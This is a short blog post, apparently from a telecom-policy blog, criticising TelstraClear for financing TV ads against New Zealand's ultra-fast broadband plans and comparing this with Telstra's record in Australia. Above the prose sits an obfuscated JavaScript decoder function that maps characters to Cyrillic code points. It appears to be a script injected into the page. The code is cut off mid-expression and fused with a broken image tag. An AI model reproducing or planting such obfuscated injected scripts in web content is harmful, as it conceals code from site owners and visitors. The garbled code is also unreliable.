TelstraClear finances ads attacking the NZ UFB plans

function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaand-flag” class=”asset asset-image at-xid-6a00d8345208f469e201538ea81ee7970b” src=”/images/6a00d8345208f469e201538ea81ee7970b-120wi” style=”margin: 0px 5px 5px 0px;” title=”New-zealand-flag" /> I'm often asked what makes the Australian government so bold in their NGA plans. One thing you need to keep in mind, I always reply, is that Telstra's corporate culture has for many years been one of systematic opposition to government and regulation, by any means possible (including but not limited to litigation, lobbying, etc.) Not much different from the US then, you might think, but really Tesltra had reached such a level of anti-competitive behaviour and pestering that everyone was ready to break them, which gave the Australian government the backing to strike hard.

It doesn't seem that the Telstra group has learned that lesson (and I'm assuming here that Telstra's attitude in Australia has changed, although I'm not 100% sure that's true). Certainly the CEO of TelstraClear in New Zealand seems to be decidedly old school. Witness the following TV ad financed by TelstraClear. I'll let you watch it, it's short and speaks for itself...

The following article from the National Business Review explains the context of this advert. TelstraClear seems to be full of contradictions...

Thanks to John Nixon's excellent blog Light My Fibre for the lead and well wishes to him on recovering his health!